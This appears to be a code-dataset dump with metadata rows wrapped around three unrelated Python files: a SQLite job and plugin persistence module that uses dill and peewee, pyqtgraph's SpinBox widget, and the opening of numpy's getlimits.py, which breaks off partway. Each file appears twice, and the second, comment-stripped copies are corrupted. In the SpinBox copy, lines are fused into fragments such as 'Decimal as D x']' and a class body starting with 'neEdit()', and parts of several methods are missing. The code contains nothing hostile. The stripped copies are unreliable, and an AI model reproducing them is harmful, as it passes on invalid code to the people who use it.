] | 7 | 2019-02-07T17:59:20.000Z | 2020-04-28T00:56:18.000Z | broker/persistence/sqlite/plugin.py | javanlacerda/asperathos-manager | a85ecc53f56dfef07c7634b8f9f6cd2e1e88e1d9 | [
"Apache-2.0"
] | 52 | 2018-11-09T10:32:39.000Z | 2020-05-07T14:55:58.000Z | broker/persistence/sqlite/plugin.py | javanlacerda/asperathos-manager | a85ecc53f56dfef07c7634b8f9f6cd2e1e88e1d9 | [
"Apache-2.0"
] | 11 | 2018-11-08T20:40:27.000Z | 2019-11-06T17:31:15.000Z | # Copyright (c) 2019 UFCG-LSD.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from broker.persistence.persistence_interface import PersistenceInterface
from broker.persistence.sqlite.model import JobState, Plugin
import dill
import peewee
class SqliteJobPersistence(PersistenceInterface):
def __init__(self):
try:
JobState.create_table()
except peewee.OperationalError:
pass
def put(self, app_id, state):
new_state = JobState(app_id=app_id,
obj_serialized=dill.dumps(state))
try:
new_state.save()
except peewee.IntegrityError:
query = JobState.update({JobState.
obj_serialized: dill.dumps(state)}).\
where(JobState.app_id == app_id)
query.execute()
def get(self, app_id):
state = JobState.get(JobState.app_id == app_id)
return dill.loads(state.obj_serialized)
def get_finished_jobs(self):
return dict(filter(lambda obj: obj[1].del_resources_authorization,
self.get_all().items()))
def delete(self, app_id):
state = JobState.get(JobState.app_id == app_id)
state.delete_instance()
def delete_all(self):
JobState.delete()
def get_all(self):
all_states = JobState.select()
all_jobs = dict([(obj.app_id, dill.loads(obj.obj_serialized))
for obj in all_states])
return all_jobs
class SqlitePluginPersistence(PersistenceInterface):
def __init__(self):
try:
Plugin.create_table()
except peewee.OperationalError:
pass
def put(self, plugin_name, source, plugin_source,
component, plugin_module=None):
plugin = Plugin(name=plugin_name, source=source,
plugin_source=plugin_source,
component=component, module=plugin_module)
plugin.save()
return plugin
def get(self, name):
plugin = Plugin.get(Plugin.name == name)
return plugin
def get_by_name_and_component(self, name, component):
for p in self.get_all():
if p.name == name and \
p.component == component:
return p
return None
def delete(self, name):
plugin = Plugin.get(Plugin.name == name)
plugin.delete_instance()
def delete_all(self):
Plugin.delete()
def get_all(self):
all_plugins = Plugin.select()
return all_plugins
| 29.865385 | 74 | 0.622666 |
from broker.persistence.persistence_interface import PersistenceInterface
from broker.persistence.sqlite.model import JobState, Plugin
import dill
import peewee
class SqliteJobPersistence(PersistenceInterface):
def __init__(self):
try:
JobState.create_table()
except peewee.OperationalError:
pass
def put(self, app_id, state):
new_state = JobState(app_id=app_id,
obj_serialized=dill.dumps(state))
try:
new_state.save()
except peewee.IntegrityError:
query = JobState.update({JobState.
obj_serialized: dill.dumps(state)}).\
where(JobState.app_id == app_id)
query.execute()
def get(self, app_id):
state = JobState.get(JobState.app_id == app_id)
return dill.loads(state.obj_serialized)
def get_finished_jobs(self):
return dict(filter(lambda obj: obj[1].del_resources_authorization,
self.get_all().items()))
def delete(self, app_id):
state = JobState.get(JobState.app_id == app_id)
state.delete_instance()
def delete_all(self):
JobState.delete()
def get_all(self):
all_states = JobState.select()
all_jobs = dict([(obj.app_id, dill.loads(obj.obj_serialized))
for obj in all_states])
return all_jobs
class SqlitePluginPersistence(PersistenceInterface):
def __init__(self):
try:
Plugin.create_table()
except peewee.OperationalError:
pass
def put(self, plugin_name, source, plugin_source,
component, plugin_module=None):
plugin = Plugin(name=plugin_name, source=source,
plugin_source=plugin_source,
component=component, module=plugin_module)
plugin.save()
return plugin
def get(self, name):
plugin = Plugin.get(Plugin.name == name)
return plugin
def get_by_name_and_component(self, name, component):
for p in self.get_all():
if p.name == name and \
p.component == component:
return p
return None
def delete(self, name):
plugin = Plugin.get(Plugin.name == name)
plugin.delete_instance()
def delete_all(self):
Plugin.delete()
def get_all(self):
all_plugins = Plugin.select()
return all_plugins
| true | true |
f73c21ab8ff31d42eefafa43012f748feffc581f | 20,942 | py | Python | acq4/pyqtgraph/widgets/SpinBox.py | tropp/ACQ4 | 792e05e99cedfc175593d200aeabecd6fa6304ce | [
"MIT"
] | null | null | null | acq4/pyqtgraph/widgets/SpinBox.py | tropp/ACQ4 | 792e05e99cedfc175593d200aeabecd6fa6304ce | [
"MIT"
] | null | null | null | acq4/pyqtgraph/widgets/SpinBox.py | tropp/ACQ4 | 792e05e99cedfc175593d200aeabecd6fa6304ce | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from ..Qt import QtGui, QtCore
from ..python2_3 import asUnicode
from ..SignalProxy import SignalProxy
from .. import functions as fn
from math import log
from decimal import Decimal as D ## Use decimal to avoid accumulating floating-point errors
from decimal import *
import weakref
__all__ = ['SpinBox']
class SpinBox(QtGui.QAbstractSpinBox):
"""
**Bases:** QtGui.QAbstractSpinBox
QSpinBox widget on steroids. Allows selection of numerical value, with extra features:
- SI prefix notation (eg, automatically display "300 mV" instead of "0.003 V")
- Float values with linear and decimal stepping (1-9, 10-90, 100-900, etc.)
- Option for unbounded values
- Delayed signals (allows multiple rapid changes with only one change signal)
============================= ==============================================
**Signals:**
valueChanged(value) Same as QSpinBox; emitted every time the value
has changed.
sigValueChanged(self) Emitted when value has changed, but also combines
multiple rapid changes into one signal (eg,
when rolling the mouse wheel).
sigValueChanging(self, value) Emitted immediately for all value changes.
============================= ==============================================
"""
## There's a PyQt bug that leaks a reference to the
## QLineEdit returned from QAbstractSpinBox.lineEdit()
## This makes it possible to crash the entire program
## by making accesses to the LineEdit after the spinBox has been deleted.
## I have no idea how to get around this..
valueChanged = QtCore.Signal(object) # (value) for compatibility with QSpinBox
sigValueChanged = QtCore.Signal(object) # (self)
sigValueChanging = QtCore.Signal(object, object) # (self, value) sent immediately; no delay.
def __init__(self, parent=None, value=0.0, **kwargs):
"""
============== ========================================================================
**Arguments:**
parent Sets the parent widget for this SpinBox (optional). Default is None.
value (float/int) initial value. Default is 0.0.
bounds (min,max) Minimum and maximum values allowed in the SpinBox.
Either may be None to leave the value unbounded. By default, values are unbounded.
suffix (str) suffix (units) to display after the numerical value. By default, suffix is an empty str.
siPrefix (bool) If True, then an SI prefix is automatically prepended
to the units and the value is scaled accordingly. For example,
if value=0.003 and suffix='V', then the SpinBox will display
"300 mV" (but a call to SpinBox.value will still return 0.003). Default is False.
step (float) The size of a single step. This is used when clicking the up/
down arrows, when rolling the mouse wheel, or when pressing
keyboard arrows while the widget has keyboard focus. Note that
the interpretation of this value is different when specifying
the 'dec' argument. Default is 0.01.
dec (bool) If True, then the step value will be adjusted to match
the current size of the variable (for example, a value of 15
might step in increments of 1 whereas a value of 1500 would
step in increments of 100). In this case, the 'step' argument
is interpreted *relative* to the current value. The most common
'step' values when dec=True are 0.1, 0.2, 0.5, and 1.0. Default is False.
minStep (float) When dec=True, this specifies the minimum allowable step size.
int (bool) if True, the value is forced to integer type. Default is False
precision (int) Number of significant digits to display. Default is 3.
============== ========================================================================
"""
QtGui.QAbstractSpinBox.__init__(self, parent)
self.lastValEmitted = None
self.lastText = ''
self.textValid = True ## If false, we draw a red border
self.setMinimumWidth(0)
self.setMaximumHeight(20)
self.setSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Preferred)
self.opts = {
'bounds': [None, None],
## Log scaling options #### Log mode is no longer supported.
#'step': 0.1,
#'minStep': 0.001,
#'log': True,
#'dec': False,
## decimal scaling option - example
#'step': 0.1,
#'minStep': .001,
#'log': False,
#'dec': True,
## normal arithmetic step
'step': D('0.01'), ## if 'dec' is false, the spinBox steps by 'step' every time
## if 'dec' is True, the step size is relative to the value
## 'step' needs to be an integral divisor of ten, ie 'step'*n=10 for some integer value of n (but only if dec is True)
'log': False,
'dec': False, ## if true, does decimal stepping. ie from 1-10 it steps by 'step', from 10 to 100 it steps by 10*'step', etc.
## if true, minStep must be set in order to cross zero.
'int': False, ## Set True to force value to be integer
'suffix': '',
'siPrefix': False, ## Set to True to display numbers with SI prefix (ie, 100pA instead of 1e-10A)
'delay': 0.3, ## delay sending wheel update signals for 300ms
'delayUntilEditFinished': True, ## do not send signals until text editing has finished
'precision': 3,
## for compatibility with QDoubleSpinBox and QSpinBox
'decimals': None,
}
self.decOpts = ['step', 'minStep']
self.val = D(asUnicode(value)) ## Value is precise decimal. Ordinary math not allowed.
self.updateText()
self.skipValidate = False
self.setCorrectionMode(self.CorrectToPreviousValue)
self.setKeyboardTracking(False)
self.setOpts(**kwargs)
self.editingFinished.connect(self.editingFinishedEvent)
self.proxy = SignalProxy(self.sigValueChanging, slot=self.delayedChange, delay=self.opts['delay'])
def event(self, ev):
ret = QtGui.QAbstractSpinBox.event(self, ev)
if ev.type() == QtCore.QEvent.KeyPress and ev.key() == QtCore.Qt.Key_Return:
ret = True ## For some reason, spinbox pretends to ignore return key press
return ret
##lots of config options, just gonna stuff 'em all in here rather than do the get/set crap.
def setOpts(self, **opts):
"""
Changes the behavior of the SpinBox. Accepts most of the arguments
allowed in :func:`__init__ <pyqtgraph.SpinBox.__init__>`.
"""
#print opts
for k in opts:
if k == 'bounds':
#print opts[k]
self.setMinimum(opts[k][0], update=False)
self.setMaximum(opts[k][1], update=False)
#for i in [0,1]:
#if opts[k][i] is None:
#self.opts[k][i] = None
#else:
#self.opts[k][i] = D(unicode(opts[k][i]))
elif k in ['step', 'minStep']:
self.opts[k] = D(asUnicode(opts[k]))
elif k == 'value':
pass ## don't set value until bounds have been set
else:
self.opts[k] = opts[k]
if 'value' in opts:
self.setValue(opts['value'])
## If bounds have changed, update value to match
if 'bounds' in opts and 'value' not in opts:
self.setValue()
## sanity checks:
if self.opts['int']:
if 'step' in opts:
step = opts['step']
## not necessary..
#if int(step) != step:
#raise Exception('Integer SpinBox must have integer step size.')
else:
self.opts['step'] = int(self.opts['step'])
if 'minStep' in opts:
step = opts['minStep']
if int(step) != step:
raise Exception('Integer SpinBox must have integer minStep size.')
else:
ms = int(self.opts.get('minStep', 1))
if ms < 1:
ms = 1
self.opts['minStep'] = ms
if 'delay' in opts:
self.proxy.setDelay(opts['delay'])
self.updateText()
def setMaximum(self, m, update=True):
"""Set the maximum allowed value (or None for no limit)"""
if m is not None:
m = D(asUnicode(m))
self.opts['bounds'][1] = m
if update:
self.setValue()
def setMinimum(self, m, update=True):
"""Set the minimum allowed value (or None for no limit)"""
if m is not None:
m = D(asUnicode(m))
self.opts['bounds'][0] = m
if update:
self.setValue()
def setPrefix(self, p):
self.setOpts(prefix=p)
def setRange(self, r0, r1):
self.setOpts(bounds = [r0,r1])
def setProperty(self, prop, val):
## for QSpinBox compatibility
if prop == 'value':
#if type(val) is QtCore.QVariant:
#val = val.toDouble()[0]
self.setValue(val)
else:
print("Warning: SpinBox.setProperty('%s', ..) not supported." % prop)
def setSuffix(self, suf):
self.setOpts(suffix=suf)
def setSingleStep(self, step):
self.setOpts(step=step)
def setPrecision(self, p):
"""Set the number of significant digits to display.
"""
self.setOpts(precision=p)
def setDecimals(self, decimals):
# Note: non-functional for now; provided as workaround for uic files that set this property.
self.setOpts(decimals=decimals)
def selectNumber(self):
"""
Select the numerical portion of the text to allow quick editing by the user.
"""
le = self.lineEdit()
text = asUnicode(le.text())
if self.opts['suffix'] == '':
le.setSelection(0, len(text))
else:
try:
index = text.index(' ')
except ValueError:
return
le.setSelection(0, index)
def value(self):
"""
Return the value of this SpinBox.
"""
if self.opts['int']:
return int(self.val)
else:
return float(self.val)
def setValue(self, value=None, update=True, delaySignal=False):
"""
Set the value of this spin.
If the value is out of bounds, it will be clipped to the nearest boundary.
If the spin is integer type, the value will be coerced to int.
Returns the actual value set.
If value is None, then the current value is used (this is for resetting
the value after bounds, etc. have changed)
"""
if value is None:
value = self.value()
bounds = self.opts['bounds']
if bounds[0] is not None and value < bounds[0]:
value = bounds[0]
if bounds[1] is not None and value > bounds[1]:
value = bounds[1]
if self.opts['int']:
value = int(value)
value = D(asUnicode(value))
if value == self.val:
return
prev = self.val
self.val = value
if update:
self.updateText(prev=prev)
self.sigValueChanging.emit(self, float(self.val)) ## change will be emitted in 300ms if there are no subsequent changes.
if not delaySignal:
self.emitChanged()
return value
def emitChanged(self):
self.lastValEmitted = self.val
self.valueChanged.emit(float(self.val))
self.sigValueChanged.emit(self)
def delayedChange(self):
try:
if self.val != self.lastValEmitted:
self.emitChanged()
except RuntimeError:
pass ## This can happen if we try to handle a delayed signal after someone else has already deleted the underlying C++ object.
def widgetGroupInterface(self):
return (self.valueChanged, SpinBox.value, SpinBox.setValue)
def sizeHint(self):
return QtCore.QSize(120, 0)
def stepEnabled(self):
return self.StepUpEnabled | self.StepDownEnabled
#def fixup(self, *args):
#print "fixup:", args
def stepBy(self, n):
n = D(int(n)) ## n must be integral number of steps.
s = [D(-1), D(1)][n >= 0] ## determine sign of step
val = self.val
for i in range(int(abs(n))):
if self.opts['log']:
raise Exception("Log mode no longer supported.")
# step = abs(val) * self.opts['step']
# if 'minStep' in self.opts:
# step = max(step, self.opts['minStep'])
# val += step * s
if self.opts['dec']:
if val == 0:
step = self.opts['minStep']
exp = None
else:
vs = [D(-1), D(1)][val >= 0]
#exp = D(int(abs(val*(D('1.01')**(s*vs))).log10()))
fudge = D('1.01')**(s*vs) ## fudge factor. at some places, the step size depends on the step sign.
exp = abs(val * fudge).log10().quantize(1, ROUND_FLOOR)
step = self.opts['step'] * D(10)**exp
if 'minStep' in self.opts:
step = max(step, self.opts['minStep'])
val += s * step
#print "Exp:", exp, "step", step, "val", val
else:
val += s*self.opts['step']
if 'minStep' in self.opts and abs(val) < self.opts['minStep']:
val = D(0)
self.setValue(val, delaySignal=True) ## note all steps (arrow buttons, wheel, up/down keys..) emit delayed signals only.
def valueInRange(self, value):
bounds = self.opts['bounds']
if bounds[0] is not None and value < bounds[0]:
return False
if bounds[1] is not None and value > bounds[1]:
return False
if self.opts.get('int', False):
if int(value) != value:
return False
return True
def updateText(self, prev=None):
#print "Update text."
self.skipValidate = True
if self.opts['siPrefix']:
if self.val == 0 and prev is not None:
(s, p) = fn.siScale(prev)
txt = "0.0 %s%s" % (p, self.opts['suffix'])
else:
txt = fn.siFormat(float(self.val), suffix=self.opts['suffix'], precision=self.opts['precision'])
else:
txt = '%g%s' % (self.val , self.opts['suffix'])
self.lineEdit().setText(txt)
self.lastText = txt
self.skipValidate = False
def validate(self, strn, pos):
if self.skipValidate:
#print "skip validate"
#self.textValid = False
ret = QtGui.QValidator.Acceptable
else:
try:
## first make sure we didn't mess with the suffix
suff = self.opts.get('suffix', '')
if len(suff) > 0 and asUnicode(strn)[-len(suff):] != suff:
#print '"%s" != "%s"' % (unicode(strn)[-len(suff):], suff)
ret = QtGui.QValidator.Invalid
## next see if we actually have an interpretable value
else:
val = self.interpret()
if val is False:
#print "can't interpret"
#self.setStyleSheet('SpinBox {border: 2px solid #C55;}')
#self.textValid = False
ret = QtGui.QValidator.Intermediate
else:
if self.valueInRange(val):
if not self.opts['delayUntilEditFinished']:
self.setValue(val, update=False)
#print " OK:", self.val
#self.setStyleSheet('')
#self.textValid = True
ret = QtGui.QValidator.Acceptable
else:
ret = QtGui.QValidator.Intermediate
except:
#print " BAD"
#import sys
#sys.excepthook(*sys.exc_info())
#self.textValid = False
#self.setStyleSheet('SpinBox {border: 2px solid #C55;}')
ret = QtGui.QValidator.Intermediate
## draw / clear border
if ret == QtGui.QValidator.Intermediate:
self.textValid = False
elif ret == QtGui.QValidator.Acceptable:
self.textValid = True
## note: if text is invalid, we don't change the textValid flag
## since the text will be forced to its previous state anyway
self.update()
## support 2 different pyqt APIs. Bleh.
if hasattr(QtCore, 'QString'):
return (ret, pos)
else:
return (ret, strn, pos)
def paintEvent(self, ev):
QtGui.QAbstractSpinBox.paintEvent(self, ev)
## draw red border if text is invalid
if not self.textValid:
p = QtGui.QPainter(self)
p.setRenderHint(p.Antialiasing)
p.setPen(fn.mkPen((200,50,50), width=2))
p.drawRoundedRect(self.rect().adjusted(2, 2, -2, -2), 4, 4)
p.end()
def interpret(self):
"""Return value of text. Return False if text is invalid, raise exception if text is intermediate"""
strn = self.lineEdit().text()
suf = self.opts['suffix']
if len(suf) > 0:
if strn[-len(suf):] != suf:
return False
#raise Exception("Units are invalid.")
strn = strn[:-len(suf)]
try:
val = fn.siEval(strn)
except:
#sys.excepthook(*sys.exc_info())
#print "invalid"
return False
#print val
return val
#def interpretText(self, strn=None):
#print "Interpret:", strn
#if strn is None:
#strn = self.lineEdit().text()
#self.setValue(siEval(strn), update=False)
##QtGui.QAbstractSpinBox.interpretText(self)
def editingFinishedEvent(self):
"""Edit has finished; set value."""
#print "Edit finished."
if asUnicode(self.lineEdit().text()) == self.lastText:
#print "no text change."
return
try:
val = self.interpret()
except:
return
if val is False:
#print "value invalid:", str(self.lineEdit().text())
return
if val == self.val:
#print "no value change:", val, self.val
return
self.setValue(val, delaySignal=False) ## allow text update so that values are reformatted pretty-like
#def textChanged(self):
#print "Text changed."
### Drop-in replacement for SpinBox; just for crash-testing
#class SpinBox(QtGui.QDoubleSpinBox):
#valueChanged = QtCore.Signal(object) # (value) for compatibility with QSpinBox
#sigValueChanged = QtCore.Signal(object) # (self)
#sigValueChanging = QtCore.Signal(object) # (value)
#def __init__(self, parent=None, *args, **kargs):
#QtGui.QSpinBox.__init__(self, parent)
#def __getattr__(self, attr):
#return lambda *args, **kargs: None
#def widgetGroupInterface(self):
#return (self.valueChanged, SpinBox.value, SpinBox.setValue)
| 39.813688 | 150 | 0.518671 |
from ..Qt import QtGui, QtCore
from ..python2_3 import asUnicode
from ..SignalProxy import SignalProxy
from .. import functions as fn
from math import log
from decimal import Decimal as D x']
class SpinBox(QtGui.QAbstractSpinBox):
neEdit()
## This makes it possible to crash the entire program
## by making accesses to the LineEdit after the spinBox has been deleted.
## I have no idea how to get around this..
valueChanged = QtCore.Signal(object) # (value) for compatibility with QSpinBox
sigValueChanged = QtCore.Signal(object) # (self)
sigValueChanging = QtCore.Signal(object, object) # (self, value) sent immediately; no delay.
def __init__(self, parent=None, value=0.0, **kwargs):
QtGui.QAbstractSpinBox.__init__(self, parent)
self.lastValEmitted = None
self.lastText = ''
self.textValid = True ## If false, we draw a red border
self.setMinimumWidth(0)
self.setMaximumHeight(20)
self.setSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Preferred)
self.opts = {
'bounds': [None, None],
## Log scaling options #### Log mode is no longer supported.
#'step': 0.1,
#'minStep': 0.001,
#'log': True,
#'dec': False,
## decimal scaling option - example
#'step': 0.1,
#'minStep': .001,
#'log': False,
#'dec': True,
## normal arithmetic step
'step': D('0.01'), ## if 'dec' is false, the spinBox steps by 'step' every time
## if 'dec' is True, the step size is relative to the value
## 'step' needs to be an integral divisor of ten, ie 'step'*n=10 for some integer value of n (but only if dec is True)
'log': False,
'dec': False, ## if true, does decimal stepping. ie from 1-10 it steps by 'step', from 10 to 100 it steps by 10*'step', etc.
## if true, minStep must be set in order to cross zero.
'int': False, ## Set True to force value to be integer
'suffix': '',
'siPrefix': False, ## Set to True to display numbers with SI prefix (ie, 100pA instead of 1e-10A)
'delay': 0.3, ## delay sending wheel update signals for 300ms
'delayUntilEditFinished': True, ## do not send signals until text editing has finished
'precision': 3,
## for compatibility with QDoubleSpinBox and QSpinBox
'decimals': None,
}
self.decOpts = ['step', 'minStep']
self.val = D(asUnicode(value)) ## Value is precise decimal. Ordinary math not allowed.
self.updateText()
self.skipValidate = False
self.setCorrectionMode(self.CorrectToPreviousValue)
self.setKeyboardTracking(False)
self.setOpts(**kwargs)
self.editingFinished.connect(self.editingFinishedEvent)
self.proxy = SignalProxy(self.sigValueChanging, slot=self.delayedChange, delay=self.opts['delay'])
def event(self, ev):
ret = QtGui.QAbstractSpinBox.event(self, ev)
if ev.type() == QtCore.QEvent.KeyPress and ev.key() == QtCore.Qt.Key_Return:
ret = True ## For some reason, spinbox pretends to ignore return key press
return ret
##lots of config options, just gonna stuff 'em all in here rather than do the get/set crap.
def setOpts(self, **opts):
for k in opts:
if k == 'bounds':
self.setMinimum(opts[k][0], update=False)
self.setMaximum(opts[k][1], update=False)
elif k in ['step', 'minStep']:
self.opts[k] = D(asUnicode(opts[k]))
elif k == 'value':
pass [k] = opts[k]
if 'value' in opts:
self.setValue(opts['value'])
## If bounds have changed, update value to match
if 'bounds' in opts and 'value' not in opts:
self.setValue()
## sanity checks:
if self.opts['int']:
if 'step' in opts:
step = opts['step']
## not necessary..
#if int(step) != step:
#raise Exception('Integer SpinBox must have integer step size.')
else:
self.opts['step'] = int(self.opts['step'])
if 'minStep' in opts:
step = opts['minStep']
if int(step) != step:
raise Exception('Integer SpinBox must have integer minStep size.')
else:
ms = int(self.opts.get('minStep', 1))
if ms < 1:
ms = 1
self.opts['minStep'] = ms
if 'delay' in opts:
self.proxy.setDelay(opts['delay'])
self.updateText()
def setMaximum(self, m, update=True):
if m is not None:
m = D(asUnicode(m))
self.opts['bounds'][1] = m
if update:
self.setValue()
def setMinimum(self, m, update=True):
if m is not None:
m = D(asUnicode(m))
self.opts['bounds'][0] = m
if update:
self.setValue()
def setPrefix(self, p):
self.setOpts(prefix=p)
def setRange(self, r0, r1):
self.setOpts(bounds = [r0,r1])
def setProperty(self, prop, val):
## for QSpinBox compatibility
if prop == 'value':
#if type(val) is QtCore.QVariant:
#val = val.toDouble()[0]
self.setValue(val)
else:
print("Warning: SpinBox.setProperty('%s', ..) not supported." % prop)
def setSuffix(self, suf):
self.setOpts(suffix=suf)
def setSingleStep(self, step):
self.setOpts(step=step)
def setPrecision(self, p):
self.setOpts(precision=p)
def setDecimals(self, decimals):
# Note: non-functional for now; provided as workaround for uic files that set this property.
self.setOpts(decimals=decimals)
def selectNumber(self):
le = self.lineEdit()
text = asUnicode(le.text())
if self.opts['suffix'] == '':
le.setSelection(0, len(text))
else:
try:
index = text.index(' ')
except ValueError:
return
le.setSelection(0, index)
def value(self):
if self.opts['int']:
return int(self.val)
else:
return float(self.val)
def setValue(self, value=None, update=True, delaySignal=False):
if value is None:
value = self.value()
bounds = self.opts['bounds']
if bounds[0] is not None and value < bounds[0]:
value = bounds[0]
if bounds[1] is not None and value > bounds[1]:
value = bounds[1]
if self.opts['int']:
value = int(value)
value = D(asUnicode(value))
if value == self.val:
return
prev = self.val
self.val = value
if update:
self.updateText(prev=prev)
self.sigValueChanging.emit(self, float(self.val)) ## change will be emitted in 300ms if there are no subsequent changes.
if not delaySignal:
self.emitChanged()
return value
def emitChanged(self):
self.lastValEmitted = self.val
self.valueChanged.emit(float(self.val))
self.sigValueChanged.emit(self)
def delayedChange(self):
try:
if self.val != self.lastValEmitted:
self.emitChanged()
except RuntimeError:
pass ## This can happen if we try to handle a delayed signal after someone else has already deleted the underlying C++ object.
def widgetGroupInterface(self):
return (self.valueChanged, SpinBox.value, SpinBox.setValue)
def sizeHint(self):
return QtCore.QSize(120, 0)
def stepEnabled(self):
return self.StepUpEnabled | self.StepDownEnabled
#def fixup(self, *args):
#print "fixup:", args
def stepBy(self, n):
n = D(int(n)) ## n must be integral number of steps.
s = [D(-1), D(1)][n >= 0] ## determine sign of step
val = self.val
for i in range(int(abs(n))):
if self.opts['log']:
raise Exception("Log mode no longer supported.")
# step = abs(val) * self.opts['step']
# if 'minStep' in self.opts:
# step = max(step, self.opts['minStep'])
# val += step * s
if self.opts['dec']:
if val == 0:
step = self.opts['minStep']
exp = None
else:
vs = [D(-1), D(1)][val >= 0]
#exp = D(int(abs(val*(D('1.01')**(s*vs))).log10()))
fudge = D('1.01')**(s*vs) ## fudge factor. at some places, the step size depends on the step sign.
exp = abs(val * fudge).log10().quantize(1, ROUND_FLOOR)
step = self.opts['step'] * D(10)**exp
if 'minStep' in self.opts:
step = max(step, self.opts['minStep'])
val += s * step
#print "Exp:", exp, "step", step, "val", val
else:
val += s*self.opts['step']
if 'minStep' in self.opts and abs(val) < self.opts['minStep']:
val = D(0)
self.setValue(val, delaySignal=True) ## note all steps (arrow buttons, wheel, up/down keys..) emit delayed signals only.
def valueInRange(self, value):
bounds = self.opts['bounds']
if bounds[0] is not None and value < bounds[0]:
return False
if bounds[1] is not None and value > bounds[1]:
return False
if self.opts.get('int', False):
if int(value) != value:
return False
return True
def updateText(self, prev=None):
#print "Update text."
self.skipValidate = True
if self.opts['siPrefix']:
if self.val == 0 and prev is not None:
(s, p) = fn.siScale(prev)
txt = "0.0 %s%s" % (p, self.opts['suffix'])
else:
txt = fn.siFormat(float(self.val), suffix=self.opts['suffix'], precision=self.opts['precision'])
else:
txt = '%g%s' % (self.val , self.opts['suffix'])
self.lineEdit().setText(txt)
self.lastText = txt
self.skipValidate = False
def validate(self, strn, pos):
if self.skipValidate:
#print "skip validate"
#self.textValid = False
ret = QtGui.QValidator.Acceptable
else:
try:
## first make sure we didn't mess with the suffix
suff = self.opts.get('suffix', '')
if len(suff) > 0 and asUnicode(strn)[-len(suff):] != suff:
ret = QtGui.QValidator.Invalid
.interpret()
if val is False:
#self.setStyleSheet('SpinBox {border: 2px solid
#self.textValid = False
ret = QtGui.QValidator.Intermediate
else:
if self.valueInRange(val):
if not self.opts['delayUntilEditFinished']:
self.setValue(val, update=False)
#print " OK:", self.val
#self.setStyleSheet('')
#self.textValid = True
ret = QtGui.QValidator.Acceptable
else:
ret = QtGui.QValidator.Intermediate
except:
#print " BAD"
#import sys
#sys.excepthook(*sys.exc_info())
#self.textValid = False
#self.setStyleSheet('SpinBox {border: 2px solid
ret = QtGui.QValidator.Intermediate
## draw / clear border
if ret == QtGui.QValidator.Intermediate:
self.textValid = False
elif ret == QtGui.QValidator.Acceptable:
self.textValid = True
## note: if text is invalid, we don't change the textValid flag
(ret, pos)
else:
return (ret, strn, pos)
def paintEvent(self, ev):
QtGui.QAbstractSpinBox.paintEvent(self, ev)
p = QtGui.QPainter(self)
p.setRenderHint(p.Antialiasing)
p.setPen(fn.mkPen((200,50,50), width=2))
p.drawRoundedRect(self.rect().adjusted(2, 2, -2, -2), 4, 4)
p.end()
def interpret(self):
strn = self.lineEdit().text()
suf = self.opts['suffix']
if len(suf) > 0:
if strn[-len(suf):] != suf:
return False
strn = strn[:-len(suf)]
try:
val = fn.siEval(strn)
except:
return False
return val
vent(self):
if asUnicode(self.lineEdit().text()) == self.lastText:
return
try:
val = self.interpret()
except:
return
if val is False:
return
if val == self.val:
return
self.setValue(val, delaySignal=False) | true | true |
f73c21f67a9fb8bd1adcb9b8d797b54e92152ee7 | 19,677 | py | Python | numpy/core/getlimits.py | lgeiger/numpy | be8ab91f789c3b688d707940016b4c2d262913e9 | [
"BSD-3-Clause"
] | 2 | 2022-02-02T05:40:47.000Z | 2022-03-05T11:04:24.000Z | numpy/core/getlimits.py | lgeiger/numpy | be8ab91f789c3b688d707940016b4c2d262913e9 | [
"BSD-3-Clause"
] | 32 | 2019-05-20T02:43:57.000Z | 2022-01-28T21:06:29.000Z | numpy/core/getlimits.py | lgeiger/numpy | be8ab91f789c3b688d707940016b4c2d262913e9 | [
"BSD-3-Clause"
] | 2 | 2021-08-16T05:10:04.000Z | 2022-01-15T09:10:09.000Z | """Machine limits for Float32 and Float64 and (long double) if available...
"""
__all__ = ['finfo', 'iinfo']
import warnings
from .machar import MachAr
from .overrides import set_module
from . import numeric
from . import numerictypes as ntypes
from .numeric import array, inf
from .umath import log10, exp2
from . import umath
def _fr0(a):
"""fix rank-0 --> rank-1"""
if a.ndim == 0:
a = a.copy()
a.shape = (1,)
return a
def _fr1(a):
"""fix rank > 0 --> rank-0"""
if a.size == 1:
a = a.copy()
a.shape = ()
return a
class MachArLike:
""" Object to simulate MachAr instance """
def __init__(self,
ftype,
*, eps, epsneg, huge, tiny, ibeta, **kwargs):
params = _MACHAR_PARAMS[ftype]
float_conv = lambda v: array([v], ftype)
float_to_float = lambda v : _fr1(float_conv(v))
float_to_str = lambda v: (params['fmt'] % array(_fr0(v)[0], ftype))
self.title = params['title']
# Parameter types same as for discovered MachAr object.
self.epsilon = self.eps = float_to_float(eps)
self.epsneg = float_to_float(epsneg)
self.xmax = self.huge = float_to_float(huge)
self.xmin = self.tiny = float_to_float(tiny)
self.ibeta = params['itype'](ibeta)
self.__dict__.update(kwargs)
self.precision = int(-log10(self.eps))
self.resolution = float_to_float(float_conv(10) ** (-self.precision))
self._str_eps = float_to_str(self.eps)
self._str_epsneg = float_to_str(self.epsneg)
self._str_xmin = float_to_str(self.xmin)
self._str_xmax = float_to_str(self.xmax)
self._str_resolution = float_to_str(self.resolution)
_convert_to_float = {
ntypes.csingle: ntypes.single,
ntypes.complex_: ntypes.float_,
ntypes.clongfloat: ntypes.longfloat
}
# Parameters for creating MachAr / MachAr-like objects
_title_fmt = 'numpy {} precision floating point number'
_MACHAR_PARAMS = {
ntypes.double: dict(
itype = ntypes.int64,
fmt = '%24.16e',
title = _title_fmt.format('double')),
ntypes.single: dict(
itype = ntypes.int32,
fmt = '%15.7e',
title = _title_fmt.format('single')),
ntypes.longdouble: dict(
itype = ntypes.longlong,
fmt = '%s',
title = _title_fmt.format('long double')),
ntypes.half: dict(
itype = ntypes.int16,
fmt = '%12.5e',
title = _title_fmt.format('half'))}
# Key to identify the floating point type. Key is result of
# ftype('-0.1').newbyteorder('<').tobytes()
# See:
# https://perl5.git.perl.org/perl.git/blob/3118d7d684b56cbeb702af874f4326683c45f045:/Configure
_KNOWN_TYPES = {}
def _register_type(machar, bytepat):
_KNOWN_TYPES[bytepat] = machar
_float_ma = {}
def _register_known_types():
# Known parameters for float16
# See docstring of MachAr class for description of parameters.
